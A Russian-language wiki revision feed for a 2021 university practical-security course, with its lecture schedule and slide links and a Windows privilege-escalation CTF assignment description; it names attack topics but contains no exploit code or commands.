		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=558</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=558"/>
		<updated>2021-05-13T11:44:52Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Гарантируется, что 10000 и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=557</id>
		<title>Дополнительные главы практической безопасности (2021)/Задание LPE в Windows</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=557"/>
		<updated>2021-05-11T16:37:20Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В задании три флага (300, 700 и 1000 баллов), в общей сложности можно получить 2000 баллов. &lt;br /&gt;
Суть задачи в том, что вам необходимо повысить свои привилегии на win-системе и получить содержимое файлов-флагов. Для вашего удобства базовый OVA-образ доступен для скачивания. Образ, который используется в таске, отличается от базового только паролем админа и текстом в файлах с флагами.&lt;br /&gt;
&lt;br /&gt;
Вам нужно будет написать программу (исполняемый файл exe), которая получает флаг и печатает его в stdout. При помощи сабмит-системы вы можете отправлять свои программы на запуск и получать результат их выполнения (примерно минут через 10 после запуска), включая stdout. Ваши программы запускаются от пользователя user. Все флаги начинаются с префикса &amp;lt;code&amp;gt;main_FLG&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Адрес задания: http://l.poc.fun:1337/&lt;br /&gt;
&lt;br /&gt;
Для выполнения задания вам потребуется VirtualBox и что-то для сборки программ под windows (я рекомендую VS2019 community edition). &lt;br /&gt;
&lt;br /&gt;
Рекомендуемый порядок выполнения задания:&lt;br /&gt;
# Качаете OVA, разворачиваете у себя, загружаетесь, изучаете систему;&lt;br /&gt;
# Придумываете, как получить флаг / флаги;&lt;br /&gt;
# Пишете программу, которая получает флаг;&lt;br /&gt;
# Тестируете её у себя локально;&lt;br /&gt;
# Сабмитите в проверялку и получаете реальный флаг.&lt;br /&gt;
&lt;br /&gt;
Если что-то не работает, пишите в телеграмме в личку @webpentest.&lt;br /&gt;
&lt;br /&gt;
PS. Задачки на 300 и 700 баллов совсем простые и вообще не выходят за рамки того, что обсуждалось на семинаре.&lt;br /&gt;
&lt;br /&gt;
Дедлайн по этой задаче: &#039;&#039;&#039;23 мая 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=556</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=556"/>
		<updated>2021-05-11T16:36:01Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Гарантируется, что 10000 и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=555</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=555"/>
		<updated>2021-05-11T16:35:45Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Гарантируется, что 10000 и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/wiki/LPE-on-Windows.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=554</id>
		<title>Дополнительные главы практической безопасности (2021)/Задание LPE в Windows</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=554"/>
		<updated>2021-05-11T13:42:51Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В задании три флага (300, 700 и 1000 баллов), в общей сложности можно получить 2000 баллов. &lt;br /&gt;
Суть задачи в том, что вам необходимо повысить свои привилегии на win-системе и получить содержимое файлов-флагов. Для вашего удобства базовый OVA-образ доступен для скачивания. Образ, который используется в таске, отличается от базового только паролем админа и текстом в файлах с флагами.&lt;br /&gt;
&lt;br /&gt;
Вам нужно будет написать программу (исполняемый файл exe), которая получает флаг и печатает его в stdout. При помощи сабмит-системы вы можете отправлять свои программы на запуск и получать результат их выполнения (примерно минут через 10 после запуска), включая stdout. Ваши программы запускаются от пользователя user. Все флаги начинаются с префикса &amp;lt;code&amp;gt;main_FLG&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Адрес задания: http://l.poc.fun:1337/&lt;br /&gt;
&lt;br /&gt;
Для выполнения задания вам потребуется VirtualBox и что-то для сборки программ под windows (я рекомендую VS2019 community edition). &lt;br /&gt;
&lt;br /&gt;
Рекомендуемый порядок выполнения задания:&lt;br /&gt;
# Качаете OVA, разворачиваете у себя, загружаетесь, изучаете систему;&lt;br /&gt;
# Придумываете, как получить флаг / флаги;&lt;br /&gt;
# Пишете программу, которая получает флаг;&lt;br /&gt;
# Тестируете её у себя локально;&lt;br /&gt;
# Сабмитите в проверялку и получаете реальный флаг.&lt;br /&gt;
&lt;br /&gt;
Если что-то не работает, пишите мне в личку.&lt;br /&gt;
&lt;br /&gt;
PS. Задачки на 300 и 700 баллов совсем простые и вообще не выходят за рамки того, что обсуждалось на семинаре.&lt;br /&gt;
&lt;br /&gt;
Дедлайн по этой задаче: &#039;&#039;&#039;23 мая 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=553</id>
		<title>Дополнительные главы практической безопасности (2021)/Задание LPE в Windows</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=553"/>
		<updated>2021-05-11T13:41:49Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В задании три флага (300, 700 и 1000 баллов), в общей сложности можно получить 2000 баллов. &lt;br /&gt;
Суть задачи в том, что вам необходимо повысить свои привилегии на win-системе и получить содержимое файлов-флагов. Для вашего удобства базовый OVA-образ доступен для скачивания. Образ, который используется в таске, отличается от базового только паролем админа и текстом в файлах с флагами.&lt;br /&gt;
&lt;br /&gt;
Вам нужно будет написать программу (исполняемый файл exe), которая получает флаг и печатает его в stdout. При помощи сабмит-системы вы можете отправлять свои программы на запуск и получать результат их выполнения (примерно минут через 10 после запуска), включая stdout. Ваши программы запускаются от пользователя user. Все флаги начинаются с префикса &amp;lt;code&amp;gt;main_FLG&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Адрес задания: http://l.poc.fun:1337/&lt;br /&gt;
&lt;br /&gt;
Для выполнения задания вам потребуется VirtualBox и что-то для сборки программ под windows (я рекомендую VS2019 community edition). &lt;br /&gt;
&lt;br /&gt;
Рекомендуемый порядок выполнения задания:&lt;br /&gt;
1. Качаете OVA, разворачиваете у себя, загружаетесь, изучаете систему;&lt;br /&gt;
2. Придумываете, как получить флаг / флаги;&lt;br /&gt;
3. Пишете программу, которая получает флаг;&lt;br /&gt;
4. Тестируете её у себя локально;&lt;br /&gt;
5. Сабмитите в проверялку и получаете реальный флаг.&lt;br /&gt;
&lt;br /&gt;
Если что-то не работает, пишите мне в личку.&lt;br /&gt;
PS. Задачки на 300 и 700 баллов совсем простые и вообще не выходят за рамки того, что обсуждалось на семинаре.&lt;br /&gt;
&lt;br /&gt;
Дедлайн по этой задаче: &#039;&#039;&#039;23 мая 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
